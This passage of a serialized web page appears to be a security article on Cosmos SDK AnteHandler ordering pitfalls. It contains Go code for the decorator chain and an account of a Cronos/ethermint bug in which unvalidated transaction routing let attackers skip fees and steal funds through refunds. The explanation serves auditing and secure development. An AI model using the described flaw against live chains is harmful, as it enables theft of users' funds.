abd",{"type":23,"tag":134,"props":78501,"children":78502},{"style":179},[78503],{"type":28,"value":720},{"type":23,"tag":134,"props":78505,"children":78506},{"style":162},[78507],{"type":28,"value":78508},"bk",{"type":23,"tag":134,"props":78510,"children":78511},{"style":179},[78512],{"type":28,"value":720},{"type":23,"tag":134,"props":78514,"children":78515},{"style":264},[78516],{"type":28,"value":78517},"getBalance",{"type":23,"tag":134,"props":78519,"children":78520},{"style":179},[78521],{"type":28,"value":272},{"type":23,"tag":134,"props":78523,"children":78524},{"style":162},[78525],{"type":28,"value":19758},{"type":23,"tag":134,"props":78527,"children":78528},{"style":179},[78529],{"type":28,"value":242},{"type":23,"tag":134,"props":78531,"children":78532},{"style":162},[78533],{"type":28,"value":6604},{"type":23,"tag":134,"props":78535,"children":78536},{"style":179},[78537],{"type":28,"value":242},{"type":23,"tag":134,"props":78539,"children":78540},{"style":162},[78541],{"type":28,"value":78542},"ATOM",{"type":23,"tag":134,"props":78544,"children":78545},{"style":179},[78546],{"type":28,"value":329},{"type":23,"tag":134,"props":78548,"children":78549},{"class":136,"line":984},[78550,78554,78559,78563,78568,78572,78577],{"type":23,"tag":134,"props":78551,"children":78552},{"style":189},[78553],{"type":28,"value":444},{"type":23,"tag":134,"props":78555,"children":78556},{"style":162},[78557],{"type":28,"value":78558}," balance",{"type":23,"tag":134,"props":78560,"children":78561},{"style":179},[78562],{"type":28,"value":720},{"type":23,"tag":134,"props":78564,"children":78565},{"style":162},[78566],{"type":28,"value":78567},"Amount",{"type":23,"tag":134,"props":78569,"children":78570},{"style":168},[78571],{"type":28,"value":8179},{"type":23,"tag":134,"props":78573,"children":78574},{"style":162},[78575],{"type":28,"value":78576}," MIN_BALANCE",{"type":23,"tag":134,"props":78578,"children":78579},{"style":179},[78580],{"type":28,"value":463},{"type":23,"tag":134,"props":78582,"children":78583},{"class":136,"line":992},[78584,78589,78593,78597,78601,78605,78609],{"type":23,"tag":134,"props":78585,"children":78586},{"style":189},[78587],{"type":28,"value":78588},"            return",{"type":23,"tag":134,"props":78590,"children":78591},{"style":162},[78592],{"type":28,"value":25334},{"type":23,"tag":134,"props":78594,"children":78595},{"style":179},[78596],{"type":28,"value":242},{"type":23,"tag":134,"props":78598,"children":78599},{"style":162},[78600],{"type":28,"value":78349},{"type":23,"tag":134,"props":78602,"children":78603},{"style":179},[78604],{"type":28,"value":720},{"type":23,"tag":134,"props":78606,"children":78607},{"style":264},[78608],{"type":28,"value":78358},{"type":23,"tag":134,"props":78610,"children":78611},{"style":179},[78612],{"type":28,"value":642},{"type":23,"tag":134,"props":78614,"children":78615},{"class":136,"line":1024},[78616,78621],{"type":23,"tag":134,"props":78617,"children":78618},{"style":162},[78619],{"type":28,"value":78620},"                ErrInsufficientBalance",{"type":23,"tag":134,"props":78622,"children":78623},{"style":179},[78624],{"type":28,"value":687},{"type":23,"tag":134,"props":78626,"children":78627},{"class":136,"line":1032},[78628,78633],{"type":23,"tag":134,"props":78629,"children":78630},{"style":1461},[78631],{"type":28,"value":78632},"                \"Insufficient Balance\"",{"type":23,"tag":134,"props":78634,"children":78635},{"style":179},[78636],{"type":28,"value":687},{"type":23,"tag":134,"props":78638,"children":78639},{"class":136,"line":1092},[78640],{"type":23,"tag":134,"props":78641,"children":78642},{"style":179},[78643],{"type":28,"value":77027},{"type":23,"tag":134,"props":78645,"children":78646},{"class":136,"line":8508},[78647],{"type":23,"tag":134,"props":78648,"children":78649},{"style":179},[78650],{"type":28,"value":524},{"type":23,"tag":134,"props":78652,"children":78653},{"class":136,"line":8526},[78654],{"type":23,"tag":134,"props":78655,"children":78656},{"style":179},[78657],{"type":28,"value":533},{"type":23,"tag":134,"props":78659,"children":78660},{"class":136,"line":8571},[78661],{"type":23,"tag":134,"props":78662,"children":78663},{"emptyLinePlaceholder":15},[78664],{"type":28,"value":865},{"type":23,"tag":134,"props":78666,"children":78667},{"class":136,"line":8677},[78668,78672,78677,78681,78685,78689,78694,78698,78703],{"type":23,"tag":134,"props":78669,"children":78670},{"style":189},[78671],{"type":28,"value":16461},{"type":23,"tag":134,"props":78673,"children":78674},{"style":264},[78675],{"type":28,"value":78676}," next",{"type":23,"tag":134,"props":78678,"children":78679},{"style":179},[78680],{"type":28,"value":272},{"type":23,"tag":134,"props":78682,"children":78683},{"style":162},[78684],{"type":28,"value":19758},{"type":23,"tag":134,"props":78686,"children":78687},{"style":179},[78688],{"type":28,"value":242},{"type":23,"tag":134,"props":78690,"children":78691},{"style":162},[78692],{"type":28,"value":78693},"tx",{"type":23,"tag":134,"props":78695,"children":78696},{"style":179},[78697],{"type":28,"value":242},{"type":23,"tag":134,"props":78699,"children":78700},{"style":162},[78701],{"type":28,"value":78702},"simulate",{"type":23,"tag":134,"props":78704,"children":78705},{"style":179},[78706],{"type":28,"value":329},{"type":23,"tag":134,"props":78708,"children":78709},{"class":136,"line":22988},[78710],{"type":23,"tag":134,"props":78711,"children":78712},{"style":179},[78713],{"type":28,"value":1098},{"type":23,"tag":24,"props":78715,"children":78716},{},[78717,78719,78724,78726,78732,78734,78740],{"type":28,"value":78718},"Where should this custom ",{"type":23,"tag":92,"props":78720,"children":78722},{"className":78721},[],[78723],{"type":28,"value":77982},{"type":28,"value":78725}," be placed relative to other ",{"type":23,"tag":92,"props":78727,"children":78729},{"className":78728},[],[78730],{"type":28,"value":78731},"AnteHandlers",{"type":28,"value":78733}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":23,"tag":92,"props":78735,"children":78737},{"className":78736},[],[78738],{"type":28,"value":78739},"SetUpContextDecorator",{"type":28,"value":78741}," should work, right?",{"type":23,"tag":24,"props":78743,"children":78744},{},[78745],{"type":23,"tag":31,"props":78746,"children":78749},{"href":78747,"rel":78748},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[35],[78750],{"type":28,"value":76251},{"type":23,"tag":87,"props":78752,"children":78754},{"code":78753,"language":75676,"meta":7,"className":75677,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[78755],{"type":23,"tag":92,"props":78756,"children":78757},{"__ignoreMap":7},[78758,78791,78808,78816,78845,78857,78869,78898,78926,79005,79038,79066,79111,79156,79184],{"type":23,"tag":134,"props":78759,"children":78760},{"class":136,"line":137},[78761,78766,78770,78774,78778,78782,78787],{"type":23,"tag":134,"props":78762,"children":78763},{"style":162},[78764],{"type":28,"value":78765},"anteDecorators",{"type":23,"tag":134,"props":78767,"children":78768},{"style":168},[78769],{"type":28,"value":75928},{"type":23,"tag":134,"props":78771,"children":78772},{"style":179},[78773],{"type":28,"value":75739},{"type":23,"tag":134,"props":78775,"children":78776},{"style":597},[78777],{"type":28,"value":78242},{"type":23,"tag":134,"props":78779,"children":78780},{"style":179},[78781],{"type":28,"value":720},{"type":23,"tag":134,"props":78783,"children":78784},{"style":597},[78785],{"type":28,"value":78786},"AnteDecorator",{"type":23,"tag":134,"props":78788,"children":78789},{"style":179},[78790],{"type":28,"value":10346},{"type":23,"tag":134,"props":78792,"children":78793},{"class":136,"line":147},[78794,78799,78803],{"type":23,"tag":134,"props":78795,"children":78796},{"style":264},[78797],{"type":28,"value":78798},"    NewSetUpContextDecorator",{"type":23,"tag":134,"props":78800,"children":78801},{"style":179},[78802],{"type":28,"value":17849},{"type":23,"tag":134,"props":78804,"children":78805},{"style":141},[78806],{"type":28,"value":78807},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":23,"tag":134,"props":78809,"children":78810},{"class":136,"line":185},[78811],{"type":23,"tag":134,"props":78812,"children":78813},{"style":141},[78814],{"type":28,"value":78815},"    // INSERT HERE\n",{"type":23,"tag":134,"props":78817,"children":78818},{"class":136,"line":221},[78819,78824,78828,78832,78836,78841],{"type":23,"tag":134,"props":78820,"children":78821},{"style":264},[78822],{"type":28,"value":78823},"    NewExtensionOptionsDecorator",{"type":23,"tag":134,"props":78825,"children":78826},{"style":179},[78827],{"type":28,"value":272},{"type":23,"tag":134,"props":78829,"children":78830},{"style":162},[78831],{"type":28,"value":35536},{"type":23,"tag":134,"props":78833,"children":78834},{"style":179},[78835],{"type":28,"value":720},{"type":23,"tag":134,"props":78837,"children":78838},{"style":162},[78839],{"type":28,"value":78840},"ExtensionOptionChecker",{"type":23,"tag":134,"props":78842,"children":78843},{"style":179},[78844],{"type":28,"value":6194},{"type":23,"tag":134,"props":78846,"children":78847},{"class":136,"line":332},[78848,78853],{"type":23,"tag":134,"props":78849,"children":78850},{"style":264},[78851],{"type":28,"value":78852},"    NewValidateBasicDecorator",{"type":23,"tag":134,"props":78854,"children":78855},{"style":179},[78856],{"type":28,"value":670},{"type":23,"tag":134,"props":78858,"children":78859},{"class":136,"line":438},[78860,78865],{"type":23,"tag":134,"props":78861,"children":78862},{"style":264},[78863],{"type":28,"value":78864},"    NewTxTimeoutHeightDecorator",{"type":23,"tag":134,"props":78866,"children":78867},{"style":179},[78868],{"type":28,"value":670},{"type":23,"tag":134,"props":78870,"children":78871},{"class":136,"line":466},[78872,78877,78881,78885,78889,78894],{"type":23,"tag":134,"props":78873,"children":78874},{"style":264},[78875],{"type":28,"value":78876},"    NewValidateMemoDecorator",{"type":23,"tag":134,"props":78878,"children":78879},{"style":179},[78880],{"type":28,"value":272},{"type":23,"tag":134,"props":78882,"children":78883},{"style":162},[78884],{"type":28,"value":35536},{"type":23,"tag":134,"props":78886,"children":78887},{"style":179},[78888],{"type":28,"value":720},{"type":23,"tag":134,"props":78890,"children":78891},{"style":162},[78892],{"type":28,"value":78893},"AccountKeeper",{"type":23,"tag":134,"props":78895,"children":78896},{"style":179},[78897],{"type":28,"value":6194},{"type":23,"tag":134,"props":78899,"children":78900},{"class":136,"line":479},[78901,78906,78910,78914,78918,78922],{"type":23,"tag":134,"props":78902,"children":78903},{"style":264},[78904],{"type":28,"value":78905},"    NewConsumeGasForTxSizeDecorator",{"type":23,"tag":134,"props":78907,"children":78908},{"style":179},[78909],{"type":28,"value":272},{"type":23,"tag":134,"props":78911,"children":78912},{"style":162},[78913],{"type":28,"value":35536},{"type":23,"tag":134,"props":78915,"children":78916},{"style":179},[78917],{"type":28,"value":720},{"type":23,"tag":134,"props":78919,"children":78920},{"style":162},[78921],{"type":28,"value":78893},{"type":23,"tag":134,"props":78923,"children":78924},{"style":179},[78925],{"type":28,"value":6194},{"type":23,"tag":134,"props":78927,"children":78928},{"class":136,"line":497},[78929,78934,78938,78942,78946,78950,78954,78958,78962,78967,78971,78975,78979,78984,78988,78992,78996,79001],{"type":23,"tag":134,"props":78930,"children":78931},{"style":264},[78932],{"type":28,"value":78933},"    NewDeductFeeDecorator",{"type":23,"tag":134,"props":78935,"children":78936},{"style":179},[78937],{"type":28,"value":272},{"type":23,"tag":134,"props":78939,"children":78940},{"style":162},[78941],{"type":28,"value":35536},{"type":23,"tag":134,"props":78943,"children":78944},{"style":179},[78945],{"type":28,"value":720},{"type":23,"tag":134,"props":78947,"children":78948},{"style":162},[78949],{"type":28,"value":78893},{"type":23,"tag":134,"props":78951,"children":78952},{"style":179},[78953],{"type":28,"value":242},{"type":23,"tag":134,"props":78955,"children":78956},{"style":162},[78957],{"type":28,"value":35536},{"type":23,"tag":134,"props":78959,"children":78960},{"style":179},[78961],{"type":28,"value":720},{"type":23,"tag":134,"props":78963,"children":78964},{"style":162},[78965],{"type":28,"value":78966},"BankKeeper",{"type":23,"tag":134,"props":78968,"children":78969},{"style":179},[78970],{"type":28,"value":242},{"type":23,"tag":134,"props":78972,"children":78973},{"style":162},[78974],{"type":28,"value":35536},{"type":23,"tag":134,"props":78976,"children":78977},{"style":179},[78978],{"type":28,"value":720},{"type":23,"tag":134,"props":78980,"children":78981},{"style":162},[78982],{"type":28,"value":78983},"FeegrantKeeper",{"type":23,"tag":134,"props":78985,"children":78986},{"style":179},[78987],{"type":28,"value":242},{"type":23,"tag":134,"props":78989,"children":78990},{"style":162},[78991],{"type":28,"value":35536},{"type":23,"tag":134,"props":78993,"children":78994},{"style":179},[78995],{"type":28,"value":720},{"type":23,"tag":134,"props":78997,"children":78998},{"style":162},[78999],{"type":28,"value":79000},"TxFeeChecker",{"type":23,"tag":134,"props":79002,"children":79003},{"style":179},[79004],{"type":28,"value":6194},{"type":23,"tag":134,"props":79006,"children":79007},{"class":136,"line":518},[79008,79013,79017,79021,79025,79029,79033],{"type":23,"tag":134,"props":79009,"children":79010},{"style":264},[79011],{"type":28,"value":79012},"    NewSetPubKeyDecorator",{"type":23,"tag":134,"props":79014,"children":79015},{"style":179},[79016],{"type":28,"value":272},{"type":23,"tag":134,"props":79018,"children":79019},{"style":162},[79020],{"type":28,"value":35536},{"type":23,"tag":134,"props":79022,"children":79023},{"style":179},[79024],{"type":28,"value":720},{"type":23,"tag":134,"props":79026,"children":79027},{"style":162},[79028],{"type":28,"value":78893},{"type":23,"tag":134,"props":79030,"children":79031},{"style":179},[79032],{"type":28,"value":14646},{"type":23,"tag":134,"props":79034,"children":79035},{"style":141},[79036],{"type":28,"value":79037},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":23,"tag":134,"props":79039,"children":79040},{"class":136,"line":527},[79041,79046,79050,79054,79058,79062],{"type":23,"tag":134,"props":79042,"children":79043},{"style":264},[79044],{"type":28,"value":79045},"    NewValidateSigCountDecorator",{"type":23,"tag":134,"props":79047,"children":79048},{"style":179},[79049],{"type":28,"value":272},{"type":23,"tag":134,"props":79051,"children":79052},{"style":162},[79053],{"type":28,"value":35536},{"type":23,"tag":134,"props":79055,"children":79056},{"style":179},[79057],{"type":28,"value":720},{"type":23,"tag":134,"props":79059,"children":79060},{"style":162},[79061],{"type":28,"value":78893},{"type":23,"tag":134,"props":79063,"children":79064},{"style":179},[79065],{"type":28,"value":6194},{"type":23,"tag":134,"props":79067,"children":79068},{"class":136,"line":780},[79069,79074,79078,79082,79086,79090,79094,79098,79102,79107],{"type":23,"tag":134,"props":79070,"children":79071},{"style":264},[79072],{"type":28,"value":79073},"    NewSigGasConsumeDecorator",{"type":23,"tag":134,"props":79075,"children":79076},{"style":179},[79077],{"type":28,"value":272},{"type":23,"tag":134,"props":79079,"children":79080},{"style":162},[79081],{"type":28,"value":35536},{"type":23,"tag":134,"props":79083,"children":79084},{"style":179},[79085],{"type":28,"value":720},{"type":23,"tag":134,"props":79087,"children":79088},{"style":162},[79089],{"type":28,"value":78893},{"type":23,"tag":134,"props":79091,"children":79092},{"style":179},[79093],{"type":28,"value":242},{"type":23,"tag":134,"props":79095,"children":79096},{"style":162},[79097],{"type":28,"value":35536},{"type":23,"tag":134,"props":79099,"children":79100},{"style":179},[79101],{"type":28,"value":720},{"type":23,"tag":134,"props":79103,"children":79104},{"style":162},[79105],{"type":28,"value":79106},"SigGasConsumer",{"type":23,"tag":134,"props":79108,"children":79109},{"style":179},[79110],{"type":28,"value":6194},{"type":23,"tag":134,"props":79112,"children":79113},{"class":136,"line":797},[79114,79119,79123,79127,79131,79135,79139,79143,79147,79152],{"type":23,"tag":134,"props":79115,"children":79116},{"style":264},[79117],{"type":28,"value":79118},"    NewSigVerificationDecorator",{"type":23,"tag":134,"props":79120,"children":79121},{"style":179},[79122],{"type":28,"value":272},{"type":23,"tag":134,"props":79124,"children":79125},{"style":162},[79126],{"type":28,"value":35536},{"type":23,"tag":134,"props":79128,"children":79129},{"style":179},[79130],{"type":28,"value":720},{"type":23,"tag":134,"props":79132,"children":79133},{"style":162},[79134],{"type":28,"value":78893},{"type":23,"tag":134,"props":79136,"children":79137},{"style":179},[79138],{"type":28,"value":242},{"type":23,"tag":134,"props":79140,"children":79141},{"style":162},[79142],{"type":28,"value":35536},{"type":23,"tag":134,"props":79144,"children":79145},{"style":179},[79146],{"type":28,"value":720},{"type":23,"tag":134,"props":79148,"children":79149},{"style":162},[79150],{"type":28,"value":79151},"SignModeHandler",{"type":23,"tag":134,"props":79153,"children":79154},{"style":179},[79155],{"type":28,"value":6194},{"type":23,"tag":134,"props":79157,"children":79158},{"class":136,"line":814},[79159,79164,79168,79172,79176,79180],{"type":23,"tag":134,"props":79160,"children":79161},{"style":264},[79162],{"type":28,"value":79163},"    NewIncrementSequenceDecorator",{"type":23,"tag":134,"props":79165,"children":79166},{"style":179},[79167],{"type":28,"value":272},{"type":23,"tag":134,"props":79169,"children":79170},{"style":162},[79171],{"type":28,"value":35536},{"type":23,"tag":134,"props":79173,"children":79174},{"style":179},[79175],{"type":28,"value":720},{"type":23,"tag":134,"props":79177,"children":79178},{"style":162},[79179],{"type":28,"value":78893},{"type":23,"tag":134,"props":79181,"children":79182},{"style":179},[79183],{"type":28,"value":6194},{"type":23,"tag":134,"props":79185,"children":79186},{"class":136,"line":827},[79187],{"type":23,"tag":134,"props":79188,"children":79189},{"style":179},[79190],{"type":28,"value":1098},{"type":23,"tag":24,"props":79192,"children":79193},{},[79194,79196,79201,79203,79209,79210,79216],{"type":28,"value":79195},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":23,"tag":92,"props":79197,"children":79199},{"className":79198},[],[79200],{"type":28,"value":78731},{"type":28,"value":79202},", such as ",{"type":23,"tag":92,"props":79204,"children":79206},{"className":79205},[],[79207],{"type":28,"value":79208},"SigGasConsumeDecorator",{"type":28,"value":10458},{"type":23,"tag":92,"props":79211,"children":79213},{"className":79212},[],[79214],{"type":28,"value":79215},"ConsumeGasForTxSizeDecorator",{"type":28,"value":79217},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":23,"tag":24,"props":79219,"children":79220},{},[79221,79223,79229,79231,79236],{"type":28,"value":79222},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":23,"tag":92,"props":79224,"children":79226},{"className":79225},[],[79227],{"type":28,"value":79228},"msgs",{"type":28,"value":79230}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":23,"tag":92,"props":79232,"children":79234},{"className":79233},[],[79235],{"type":28,"value":78057},{"type":28,"value":79237}," chain.",{"type":23,"tag":9072,"props":79239,"children":79241},{"id":79240},"real-world-examples-2",[79242],{"type":28,"value":76201},{"type":23,"tag":24,"props":79244,"children":79245},{},[79246,79248,79253,79255,79262],{"type":28,"value":79247},"An instance of ",{"type":23,"tag":92,"props":79249,"children":79251},{"className":79250},[],[79252],{"type":28,"value":77982},{"type":28,"value":79254}," misuse is a ",{"type":23,"tag":31,"props":79256,"children":79259},{"href":79257,"rel":79258},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[35],[79260],{"type":28,"value":79261},"Theft of Fund bug",{"type":28,"value":79263}," that was exploited in a Cronos contract.",{"type":23,"tag":24,"props":79265,"children":79266},{},[79267,79269,79274,79276,79281,79283,79289,79291,79297,79299,79304,79306,79311],{"type":28,"value":79268},"In this scenario, ",{"type":23,"tag":92,"props":79270,"children":79272},{"className":79271},[],[79273],{"type":28,"value":79228},{"type":28,"value":79275}," are multiplexed to different ",{"type":23,"tag":92,"props":79277,"children":79279},{"className":79278},[],[79280],{"type":28,"value":77982},{"type":28,"value":79282}," sets through the user-controlled ",{"type":23,"tag":92,"props":79284,"children":79286},{"className":79285},[],[79287],{"type":28,"value":79288},"ExtensionOptionsEthereumTx",{"type":28,"value":79290}," option. However, due to a lack of tx validation, if a ",{"type":23,"tag":92,"props":79292,"children":79294},{"className":79293},[],[79295],{"type":28,"value":79296},"MsgEthereumTx",{"type":28,"value":79298}," does not have ",{"type":23,"tag":92,"props":79300,"children":79302},{"className":79301},[],[79303],{"type":28,"value":79288},{"type":28,"value":79305}," specified, it will be routed to non-Ethereum ",{"type":23,"tag":92,"props":79307,"children":79309},{"className":79308},[],[79310],{"type":28,"value":78731},{"type":28,"value":79312},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":23,"tag":24,"props":79314,"children":79315},{},[79316],{"type":23,"tag":31,"props":79317,"children":79320},{"href":79318,"rel":79319},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[35],[79321],{"type":28,"value":76251},{"type":23,"tag":87,"props":79323,"children":79325},{"code":79324,"language":75676,"meta":7,"className":75677,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    }\n}\n",[79326],{"type":23,"tag":92,"props":79327,"children":79328},{"__ignoreMap":7},[79329,79345,79370,79394,79411,79436,79462,79487,79510,79526,79582,79623,79649,79656,79702,79709,79755,79771,79801,79836,79888,79905,79913,79920,79949,79965,79973,79999,80007,80014,80026,80060,80106,80118,80125,80132,80139,80178,80185,80192,80199,80207,80214,80238,80262,80290,80315,80323,80356,80363,80375,80406,80461,80474,80482,80490,80498,80538,80546],{"type":23,"tag":134,"props":79330,"children":79331},{"class":136,"line":137},[79332,79336,79341],{"type":23,"tag":134,"props":79333,"children":79334},{"style":151},[79335],{"type":28,"value":75812},{"type":23,"tag":134,"props":79337,"children":79338},{"style":264},[79339],{"type":28,"value":79340}," NewAnteHandler",{"type":23,"tag":134,"props":79342,"children":79343},{"style":179},[79344],{"type":28,"value":642},{"type":23,"tag":134,"props":79346,"children":79347},{"class":136,"line":147},[79348,79353,79358,79362,79366],{"type":23,"tag":134,"props":79349,"children":79350},{"style":162},[79351],{"type":28,"value":79352},"    ak",{"type":23,"tag":134,"props":79354,"children":79355},{"style":597},[79356],{"type":28,"value":79357}," evmtypes",{"type":23,"tag":134,"props":79359,"children":79360},{"style":179},[79361],{"type":28,"value":720},{"type":23,"tag":134,"props":79363,"children":79364},{"style":597},[79365],{"type":28,"value":78893},{"type":23,"tag":134,"props":79367,"children":79368},{"style":179},[79369],{"type":28,"value":687},{"type":23,"tag":134,"props":79371,"children":79372},{"class":136,"line":185},[79373,79378,79382,79386,79390],{"type":23,"tag":134,"props":79374,"children":79375},{"style":162},[79376],{"type":28,"value":79377},"    bankKeeper",{"type":23,"tag":134,"props":79379,"children":79380},{"style":597},[79381],{"type":28,"value":79357},{"type":23,"tag":134,"props":79383,"children":79384},{"style":179},[79385],{"type":28,"value":720},{"type":23,"tag":134,"props":79387,"children":79388},{"style":597},[79389],{"type":28,"value":78966},{"type":23,"tag":134,"props":79391,"children":79392},{"style":179},[79393],{"type":28,"value":687},{"type":23,"tag":134,"props":79395,"children":79396},{"class":136,"line":221},[79397,79402,79407],{"type":23,"tag":134,"props":79398,"children":79399},{"style":162},[79400],{"type":28,"value":79401},"    evmKeeper",{"type":23,"tag":134,"props":79403,"children":79404},{"style":597},[79405],{"type":28,"value":79406}," EVMKeeper",{"type":23,"tag":134,"props":79408,"children":79409},{"style":179},[79410],{"type":28,"value":687},{"type":23,"tag":134,"props":79412,"children":79413},{"class":136,"line":332},[79414,79419,79424,79428,79432],{"type":23,"tag":134,"props":79415,"children":79416},{"style":162},[79417],{"type":28,"value":79418},"    feeGrantKeeper",{"type":23,"tag":134,"props":79420,"children":79421},{"style":597},[79422],{"type":28,"value":79423}," authante",{"type":23,"tag":134,"props":79425,"children":79426},{"style":179},[79427],{"type":28,"value":720},{"type":23,"tag":134,"props":79429,"children":79430},{"style":597},[79431],{"type":28,"value":78983},{"type":23,"tag":134,"props":79433,"children":79434},{"style":179},[79435],{"type":28,"value":687},{"type":23,"tag":134,"props":79437,"children":79438},{"class":136,"line":438},[79439,79444,79449,79453,79458],{"type":23,"tag":134,"props":79440,"children":79441},{"style":162},[79442],{"type":28,"value":79443},"    channelKeeper",{"type":23,"tag":134,"props":79445,"children":79446},{"style":597},[79447],{"type":28,"value":79448}," channelkeeper",{"type":23,"tag":134,"props":79450,"children":79451},{"style":179},[79452],{"type":28,"value":720},{"type":23,"tag":134,"props":79454,"children":79455},{"style":597},[79456],{"type":28,"value":79457},"Keeper",{"type":23,"tag":134,"props":79459,"children":79460},{"style":179},[79461],{"type":28,"value":687},{"type":23,"tag":134,"props":79463,"children":79464},{"class":136,"line":466},[79465,79470,79475,79479,79483],{"type":23,"tag":134,"props":79466,"children":79467},{"style":162},[79468],{"type":28,"value":79469},"    signModeHandler",{"type":23,"tag":134,"props":79471,"children":79472},{"style":597},[79473],{"type":28,"value":79474}," authsigning",{"type":23,"tag":134,"props":79476,"children":79477},{"style":179},[79478],{"type":28,"value":720},{"type":23,"tag":134,"props":79480,"children":79481},{"style":597},[79482],{"type":28,"value":79151},{"type":23,"tag":134,"props":79484,"children":79485},{"style":179},[79486],{"type":28,"value":687},{"type":23,"tag":134,"props":79488,"children":79489},{"class":136,"line":479},[79490,79494,79498,79502,79506],{"type":23,"tag":134,"props":79491,"children":79492},{"style":179},[79493],{"type":28,"value":252},{"type":23,"tag":134,"props":79495,"children":79496},{"style":597},[79497],{"type":28,"value":78242},{"type":23,"tag":134,"props":79499,"children":79500},{"style":179},[79501],{"type":28,"value":720},{"type":23,"tag":134,"props":79503,"children":79504},{"style":597},[79505],{"type":28,"value":77982},{"type":23,"tag":134,"props":79507,"children":79508},{"style":179},[79509],{"type":28,"value":463},{"type":23,"tag":134,"props":79511,"children":79512},{"class":136,"line":497},[79513,79517,79522],{"type":23,"tag":134,"props":79514,"children":79515},{"style":189},[79516],{"type":28,"value":16461},{"type":23,"tag":134,"props":79518,"children":79519},{"style":151},[79520],{"type":28,"value":79521}," func",{"type":23,"tag":134,"props":79523,"children":79524},{"style":179},[79525],{"type":28,"value":642},{"type":23,"tag":134,"props":79527,"children":79528},{"class":136,"line":518},[79529,79533,79537,79541,79545,79549,79553,79557,79561,79565,79569,79574,79578],{"type":23,"tag":134,"props":79530,"children":79531},{"style":162},[79532],{"type":28,"value":25677},{"type":23,"tag":134,"props":79534,"children":79535},{"style":597},[79536],{"type":28,"value":78153},{"type":23,"tag":134,"props":79538,"children":79539},{"style":179},[79540],{"type":28,"value":720},{"type":23,"tag":134,"props":79542,"children":79543},{"style":597},[79544],{"type":28,"value":75861},{"type":23,"tag":134,"props":79546,"children":79547},{"style":179},[79548],{"type":28,"value":242},{"type":23,"tag":134,"props":79550,"children":79551},{"style":162},[79552],{"type":28,"value":78693},{"type":23,"tag":134,"props":79554,"children":79555},{"style":597},[79556],{"type":28,"value":78153},{"type":23,"tag":134,"props":79558,"children":79559},{"style":179},[79560],{"type":28,"value":720},{"type":23,"tag":134,"props":79562,"children":79563},{"style":597},[79564],{"type":28,"value":78186},{"type":23,"tag":134,"props":79566,"children":79567},{"style":179},[79568],{"type":28,"value":242},{"type":23,"tag":134,"props":79570,"children":79571},{"style":162},[79572],{"type":28,"value":79573},"sim",{"type":23,"tag":134,"props":79575,"children":79576},{"style":597},[79577],{"type":28,"value":11517},{"type":23,"tag":134,"props":79579,"children":79580},{"style":179},[79581],{"type":28,"value":687},{"type":23,"tag":134,"props":79583,"children":79584},{"class":136,"line":527},[79585,79590,79595,79599,79603,79607,79611,